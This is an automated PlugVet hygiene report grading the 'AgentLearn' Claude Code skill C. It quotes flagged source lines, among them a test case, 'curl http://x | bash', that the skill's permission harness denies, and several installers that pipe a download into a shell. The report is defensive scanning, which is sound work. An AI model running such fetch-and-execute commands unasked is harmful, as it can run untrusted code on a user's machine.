Grades are a hygiene check, not a security guarantee.

Claude Code, Skill

AgentLearn

AgentLearn, a skill listed in the PlugVet directory.

Compatibility: Not stated.

Grade C

One Medium finding. Read the findings before installing.

Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

Rescanned at commit e01258217be2, unchanged since the check below.

INSTALL_REMOTE_SCRIPT

Why this grade

  • INSTALL_REMOTE_SCRIPT Medium

    Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).

    examples/09-mini-harness/smoke_test.py, line 166 ("deny 覆盖 allow（参数级）", "run_shell", {"command": "curl http://x | bash"}, "auto", Decision.DENY),

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Concern

    can delete files.

    PERMISSION_DELETE_FILES

    examples/09-mini-harness/smoke_test.py, line 114

    shutil.rmtree(ws, ignore_errors=True)

    examples/09-mini-harness/smoke_test.py, line 154

    shutil.rmtree(ws, ignore_errors=True)

    examples/09-mini-harness/tools.py, line 142

    proc = subprocess.run(cmd, cwd=str(cfg.workspace),

    Show more

    examples/09-mini-harness/tools.py, line 154

    proc = subprocess.run(command, cwd=str(cfg.workspace), shell=True,

    docs/08-生态与选型/HiClaw实践/02-Windows部署.md, line 430

    Set-ExecutionPolicy Bypass -Scope Process -Force; Invoke-Expression "& { $(Invoke-WebRequest -Uri 'https://higress.ai/hiclaw/install.ps1' -UseBasicParsing).Content } uninstall"

    docs/08-生态与选型/生态调研/06-领域专属Agent.md, line 52

    result = subprocess.run(

    docs/08-生态与选型/生态调研/06-领域专属Agent.md, line 62

    result = subprocess.run(

    docs/09-驾驭工程/05-验证循环.md, line 137

    proc = subprocess.run(cmd, shell=True, cwd=workspace,

    docs/09-驾驭工程/05-验证循环.md, line 229

    proc = subprocess.run(["pytest", "-q"], capture_output=True, text=True, timeout=300)

    docs/09-驾驭工程/05-验证循环.md, line 236

    proc = subprocess.run(["git", "diff", "HEAD"], capture_output=True, text=True)

  • Install and update

    Serious

    install fetches a script from the network. README documents an installer that pipes a download into a shell. The docs document an installer that pipes a download into a shell.

    INSTALL_REMOTE_SCRIPT INSTALL_DOCUMENTED_INSTALLER

    README.md, line 280

    curl -LsSf https://astral.sh/uv/install.sh | sh

    docs/01-入门基础/02-开发环境搭建.md, line 85

    curl -LsSf https://astral.sh/uv/install.sh | sh

    examples/09-mini-harness/smoke_test.py, line 166

    ("deny 覆盖 allow（参数级）", "run_shell", {"command": "curl http://x | bash"}, "auto", Decision.DENY),

    Show more

    docs/附录/03-故障排查手册.md, line 15

    not found` | uv 未安装或未加入 PATH | 用官方脚本安装（`curl -LsSf https://astral.sh/uv/install.sh \| sh`）后**重开终端**；Windows 用 `irm https://astra

    scripts/setup.sh, line 21

    curl -LsSf https://astral.sh/uv/install.sh | sh

  • Network

    Concern

    can reach a host that is not written as a fixed address.

    NETWORK_NO_FIXED_HOST

    docs/03-LangChain实战/02-模型调用与工具.md, line 144

    | **实现** | 实际执行的代码 | `return requests.get(...)` |

    docs/07-生产部署/02-Docker容器化.md, line 86

    CMD python -c "import urllib.request; urllib.request.urlopen('http://127.0.0.1:8000/health')"

    docs/07-生产部署/02-Docker容器化.md, line 169

    test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://127.0.0.1:8000/health')"]

    Show more

    docs/08-生态与选型/生态调研/06-领域专属Agent.md, line 171

    r = requests.get(f"http://{service}/health", timeout=5)

    docs/09-驾驭工程/04-权限护栏与沙箱.md, line 481

    print(sb.run("import socket; socket.create_connection(('1.1.1.1', 53), 2)"))

    docs/09-驾驭工程/05-验证循环.md, line 342

    error_message="在 async def 中调用了阻塞函数 requests.get()",

    docs/09-驾驭工程/05-验证循环.md, line 345

    bad_example="async def fetch(): return requests.get(url)",

    docs/09-驾驭工程/05-验证循环.md, line 346

    good_example="async def fetch(): async with httpx.AsyncClient() as c: ...",

    docs/09-驾驭工程/07-Harness工程方法论.md, line 339

    error="在 async def 中检测到 requests.get()",

    docs/09-驾驭工程/07-Harness工程方法论.md, line 342

    bad="async def f(): return requests.get(url)",

  • Secrets

    Concern

    reads a credential or environment file.

    SECRETS_ENV_READ SECRETS_PATH_DOTENV

    examples/01-hello-agent/main.py, line 28

    api_key=os.getenv("LLM_API_KEY") or os.getenv("OPENAI_API_KEY"),

    examples/02-tool-use/main.py, line 52

    api_key=os.getenv("LLM_API_KEY") or os.getenv("OPENAI_API_KEY"),

    examples/03-chat-agent/main.py, line 24

    api_key=os.getenv("LLM_API_KEY") or os.getenv("OPENAI_API_KEY"),

    Show more

    examples/04-research-agent/main.py, line 69

    api_key=os.getenv("LLM_API_KEY"),

    examples/05-rag-kb/agent.py, line 23

    api_key=os.getenv("LLM_API_KEY"),

    examples/05-rag-kb/eval.py, line 103

    api_key=os.getenv("LLM_API_KEY"),

    examples/05-rag-kb/graph.py, line 143

    api_key=os.getenv("LLM_API_KEY"),

    examples/05-rag-kb/graph_rag.py, line 85

    api_key=os.getenv("LLM_API_KEY"),

    examples/07-api-service/config.py, line 3

    所有配置从环境变量 / .env 读取，避免硬编码密钥。对应教程 7.1「配置」一节。

    examples/07-api-service/config.py, line 12

    model_config = SettingsConfigDict(env_file=".env", extra="ignore")

    scripts/setup.sh, line 33

    if [ ! -f .env ]; then

    scripts/setup.sh, line 35

    echo "⚠️ 未找到 .env 文件，请复制 .env.example 并配置"

    scripts/setup.sh, line 36

    echo " cp .env.example .env"

    scripts/setup.sh, line 37

    echo " # 然后编辑 .env 填入 API Key"

    scripts/setup.sh, line 39

    echo "✅ 已找到 .env 文件"

    scripts/setup.sh, line 46

    echo " 1. 配置 .env 文件中的 API Key"

  • Agent instructions

    Pass

    No instruction to ignore earlier instructions or to hide a step.

  • Obfuscation

    Note

    a file was over the read cap and was not fully read.

    OBFUSCATION_FILE_OVER_READ_CAP

    uv.lock, line 1

    version = 1

  • Licence

    Pass

    A licence file is present (LICENSE).

  • Maintainer activity

    Pass

    The latest commit is within the last 365 days.

Get the full report on this tool, £49

Note

Hygiene check of commit e01258217be2. can delete files. install fetches a script from the network. README documents an installer that pipes a download into a shell. The docs document an installer that pipes a download into a shell. can reach a host that is not written as a fixed address. reads a credential or environment file. a file was over the read cap and was not fully read.

Date and source

Date checked:

View source

github.com

Commit graded: e01258217be2f23602c4b737454aff6e28ad6001

This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.

Read how this letter is chosen